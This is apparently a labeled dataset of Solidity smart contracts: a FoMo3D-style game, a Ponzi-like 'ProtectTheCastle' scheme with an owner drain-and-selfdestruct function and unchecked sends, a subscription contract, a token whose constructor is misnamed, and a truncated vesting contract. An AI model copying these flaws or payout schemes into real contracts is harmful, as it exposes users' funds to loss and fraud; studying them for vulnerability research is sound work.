);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, OPKdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit OPKevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.OPKAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
if(_pID != _affID){
PlayerBook.updateRankBoard(_pID,_eth);
}
PlayerBook.resolveRankBoard();
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff, uint8 _level)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
if (plyr_[_pID].level != _level){
if (_level >= 0 && _level <= 3)
plyr_[_pID].level = _level;
}
}
function getBytesName(string _fromName)
public
pure
returns(bytes32)
{
return _fromName.nameFilter();
}
function validateName(string _fromName)
public
view
returns(uint256)
{
bytes32 _bname = _fromName.nameFilter();
return pIDxName_[_bname];
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function reloadPlayerInfo(address addr)
private
{
uint256 _pID = PlayerBook.getPlayerID(addr);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
uint8 _level = PlayerBook.getPlayerLevel(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
plyr_[_pID].level = _level;
}
function determinePID(OPKdatasets.EventReturns memory _eventData_)
private
returns (OPKdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
reloadPlayerInfo(msg.sender);
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, OPKdatasets.EventReturns memory _eventData_)
private
returns (OPKdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function toCom(uint256 _com) private
{
Community_Wallet1.transfer(_com / 2);
Community_Wallet2.transfer(_com / 2);
}
function endRound(OPKdatasets.EventReturns memory _eventData_)
private
returns (OPKdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _opk = (_pot.mul(potSplit_[_winTID].opk)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_opk);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
toCom(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_opk > 0)
Divies.deposit.value(_opk)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.OPKAmount = _opk;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function calculateAffiliate(uint256 _rID, uint256 _pID, uint256 _aff) private returns(uint256) {
uint8 _alreadycal = 4;
uint256 _oID = _pID;
uint256 _used = 0;
uint256 _fid = plyr_[_pID].laff;
for (uint8 i = 0; i <10; i++) {
if (plyr_[_fid].level == 0) {
break;
}
if (_alreadycal <= 1) {
break;
}
if (plyr_[_fid].level < _alreadycal) {
uint256 _ai = _aff / 10 * levelRate_[plyr_[_fid].level];
if (_used == 0) {
_ai += (_aff / 10) * levelRate_[plyr_[_fid].level+1];
}
if (plyr_[_fid].level == 1) {
_ai = _aff.sub(_used);
_used = _aff;
} else {
_used += _ai;
}
plyr_[_fid].aff = _ai.add(plyr_[_fid].aff);
emit OPKevents.onAffiliateDistribute(_pID,plyr_[_pID].addr,_fid,plyr_[_fid].addr,plyr_[_fid].level,_ai,now);
emit OPKevents.onAffiliatePayout(_fid, plyr_[_fid].addr, plyr_[_fid].name, _rID, _pID, _ai, plyr_[_fid].level, now);
_alreadycal = plyr_[_fid].level;
_pID = _fid;
}
if (plyr_[_fid].laff == 0 || plyr_[_fid].laff == _pID) {
break;
}
_fid = plyr_[_fid].laff;
}
emit OPKevents.onAffiliateDistributeLeft(_oID,(_aff - _used));
if ((_aff - _used) < 0) {
return 0;
}
return (_aff - _used);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_)
private
returns(OPKdatasets.EventReturns)
{
uint256 _com = _eth / 100 * 3;
uint256 _opk;
toCom(_com);
uint256 _long = _eth / 100;
otherOPK_.potSwap.value(_long)();
uint256 _aff = _eth / 10;
uint256 _aff_left;
if (_affID != _pID && plyr_[_affID].name != '') {
_aff_left = calculateAffiliate(_rID,_pID,_aff);
}else {
_opk = _aff;
}
_opk = _opk.add((_eth.mul(fees_[_team].opk)) / (100));
if (_opk > 0)
{
Divies.deposit.value(_opk)();
_eventData_.OPKAmount = _opk.add(_eventData_.OPKAmount);
}
if (_aff_left > 0) {
PlayerBook.deposit.value(_aff_left)();
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit OPKevents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, OPKdatasets.EventReturns memory _eventData_)
private
returns(OPKdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].opk)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, OPKdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit OPKevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.OPKAmount,
_eventData_.genAmount,
_eventData_.potAmount,
0
);
}
bool public activated_ = false;
function activate()
onlyDevs()
public
{
require(address(otherOPK_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherOPK)
onlyDevs()
public
{
otherOPK_ = otherFoMo3D(_otherOPK);
}
} | 1 | 3,390 |
contract ProtectTheCastle {
address public jester;
uint public lastReparation;
uint public piggyBank;
uint public collectedFee;
address[] public citizensAddresses;
uint[] public citizensAmounts;
uint32 public totalCitizens;
uint32 public lastCitizenPaid;
address public bribedCitizen;
uint32 public round;
uint public amountAlreadyPaidBack;
uint public amountInvested;
uint constant SIX_HOURS = 60 * 60 * 6;
function ProtectTheCastle() {
bribedCitizen = msg.sender;
jester = msg.sender;
lastReparation = block.timestamp;
amountAlreadyPaidBack = 0;
amountInvested = 0;
totalCitizens = 0;
}
function repairTheCastle() returns(bool) {
uint amount = msg.value;
if (amount < 10 finney) {
msg.sender.send(msg.value);
return false;
}
if (amount > 100 ether) {
msg.sender.send(msg.value - 100 ether);
amount = 100 ether;
}
if (lastReparation + SIX_HOURS < block.timestamp) {
if (totalCitizens == 1) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank);
} else if (totalCitizens == 2) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 65 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100);
} else if (totalCitizens >= 3) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 55 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100);
citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100);
}
piggyBank = 0;
jester = msg.sender;
lastReparation = block.timestamp;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 2);
totalCitizens += 1;
amountInvested += amount;
piggyBank += amount;
jester.send(amount * 3 / 100);
collectedFee += amount * 3 / 100;
round += 1;
} else {
lastReparation = block.timestamp;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 2);
totalCitizens += 1;
amountInvested += amount;
piggyBank += (amount * 5 / 100);
jester.send(amount * 3 / 100);
collectedFee += amount * 3 / 100;
while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - collectedFee) && lastCitizenPaid <= totalCitizens) {
citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]);
amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid];
lastCitizenPaid += 1;
}
}
}
function() {
repairTheCastle();
}
function surrender() {
if (msg.sender == bribedCitizen) {
bribedCitizen.send(address(this).balance);
selfdestruct(bribedCitizen);
}
}
function newBribedCitizen(address newBribedCitizen) {
if (msg.sender == bribedCitizen) {
bribedCitizen = newBribedCitizen;
}
}
function collectFee() {
if (msg.sender == bribedCitizen) {
bribedCitizen.send(collectedFee);
}
}
function newJester(address newJester) {
if (msg.sender == jester) {
jester = newJester;
}
}
} | 0 | 171 |
pragma solidity ^0.4.24;
library ECDSA {
function recover(bytes32 hash, bytes signature)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
contract Subscription {
using ECDSA for bytes32;
using SafeMath for uint256;
address public author;
address public requiredToAddress;
address public requiredTokenAddress;
uint256 public requiredTokenAmount;
uint256 public requiredPeriodSeconds;
uint256 public requiredGasPrice;
mapping(bytes32 => uint256) public nextValidTimestamp;
mapping(address => uint256) public extraNonce;
event ExecuteSubscription(
address indexed from,
address indexed to,
address tokenAddress,
uint256 tokenAmount,
uint256 periodSeconds,
uint256 gasPrice,
uint256 nonce
);
constructor(
address _toAddress,
address _tokenAddress,
uint256 _tokenAmount,
uint256 _periodSeconds,
uint256 _gasPrice
) public {
requiredToAddress=_toAddress;
requiredTokenAddress=_tokenAddress;
requiredTokenAmount=_tokenAmount;
requiredPeriodSeconds=_periodSeconds;
requiredGasPrice=_gasPrice;
author=msg.sender;
}
function isSubscriptionActive(
bytes32 subscriptionHash,
uint256 gracePeriodSeconds
)
external
view
returns (bool)
{
return (block.timestamp <=
nextValidTimestamp[subscriptionHash].add(gracePeriodSeconds)
);
}
function getSubscriptionHash(
address from,
address to,
address tokenAddress,
uint256 tokenAmount,
uint256 periodSeconds,
uint256 gasPrice,
uint256 nonce
)
public
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
byte(0x19),
byte(0),
address(this),
from,
to,
tokenAddress,
tokenAmount,
periodSeconds,
gasPrice,
nonce
));
}
function getSubscriptionSigner(
bytes32 subscriptionHash,
bytes signature
)
public
pure
returns (address)
{
return subscriptionHash.toEthSignedMessageHash().recover(signature);
}
function isSubscriptionReady(
address from,
address to,
address tokenAddress,
uint256 tokenAmount,
uint256 periodSeconds,
uint256 gasPrice,
uint256 nonce,
bytes signature
)
external
view
returns (bool)
{
bytes32 subscriptionHash = getSubscriptionHash(
from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce
);
address signer = getSubscriptionSigner(subscriptionHash, signature);
uint256 allowance = ERC20(tokenAddress).allowance(from, address(this));
uint256 balance = ERC20(tokenAddress).balanceOf(from);
return (
signer == from &&
from != to &&
block.timestamp >= nextValidTimestamp[subscriptionHash] &&
allowance >= tokenAmount.add(gasPrice) &&
balance >= tokenAmount.add(gasPrice)
);
}
function cancelSubscription(
address from,
address to,
address tokenAddress,
uint256 tokenAmount,
uint256 periodSeconds,
uint256 gasPrice,
uint256 nonce,
bytes signature
)
external
returns (bool success)
{
bytes32 subscriptionHash = getSubscriptionHash(
from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce
);
address signer = getSubscriptionSigner(subscriptionHash, signature);
require(signer == from, "Invalid Signature for subscription cancellation");
nextValidTimestamp[subscriptionHash]=uint256(-1);
return true;
}
function executeSubscription(
address from,
address to,
address tokenAddress,
uint256 tokenAmount,
uint256 periodSeconds,
uint256 gasPrice,
uint256 nonce,
bytes signature
)
public
returns (bool success)
{
bytes32 subscriptionHash = getSubscriptionHash(
from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce
);
address signer = getSubscriptionSigner(subscriptionHash, signature);
require(to != from, "Can not send to the from address");
require(signer == from, "Invalid Signature");
require(
block.timestamp >= nextValidTimestamp[subscriptionHash],
"Subscription is not ready"
);
require( requiredToAddress == address(0) || to == requiredToAddress );
require( requiredTokenAddress == address(0) || tokenAddress == requiredTokenAddress );
require( requiredTokenAmount == 0 || tokenAmount == requiredTokenAmount );
require( requiredPeriodSeconds == 0 || periodSeconds == requiredPeriodSeconds );
require( requiredGasPrice == 0 || gasPrice == requiredGasPrice );
nextValidTimestamp[subscriptionHash] = block.timestamp.add(periodSeconds);
if(nonce > extraNonce[from]){
extraNonce[from] = nonce;
}
ERC20(tokenAddress).transferFrom(from,to,tokenAmount);
require(
checkSuccess(),
"Subscription::executeSubscription TransferFrom failed"
);
emit ExecuteSubscription(
from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce
);
if (gasPrice > 0) {
ERC20(tokenAddress).transferFrom(from, msg.sender, gasPrice);
require(
checkSuccess(),
"Subscription::executeSubscription Failed to pay gas as from account"
);
}
return true;
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
} | 0 | 107 |
pragma solidity ^0.4.21 ;
contract SPAIN_WINS {
mapping (address => uint256) public balanceOf;
string public name = " SPAIN_WINS " ;
string public symbol = " SPAWII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 78484705836894400000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 4,026 |
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
pragma solidity 0.5.2;
contract MaticTokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private maticToken;
uint256 private tokensToVest = 0;
uint256 private vestingId = 0;
string private constant INSUFFICIENT_BALANCE = "Insufficient balance";
string private constant INVALID_VESTING_ID = "Invalid vesting id";
string private constant VESTING_ALREADY_RELEASED = "Vesting already released";
string private constant INVALID_BENEFICIARY = "Invalid beneficiary address";
string private constant NOT_VESTED = "Tokens have not vested yet";
struct Vesting {
uint256 releaseTime;
uint256 amount;
address beneficiary;
bool released;
}
mapping(uint256 => Vesting) public vestings;
event TokenVestingReleased(uint256 indexed vestingId, address indexed beneficiary, uint256 amount);
event TokenVestingAdded(uint256 indexed vestingId, address indexed beneficiary, uint256 amount);
event TokenVestingRemoved(uint256 indexed vestingId, address indexed beneficiary, uint256 amount);
constructor(IERC20 _token) public {
require(address(_token) != address(0x0), "Matic token address is not valid");
maticToken = _token;
uint256 SCALING_FACTOR = 10 ** 18;
uint256 day = 1 minutes;
day = day.div(15);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 0, 3230085552 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 30 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 61 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 91 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 122 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 153 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 183 * day, 1088418885 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 214 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 244 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 275 * day, 25000000 * SCALING_FACTOR);
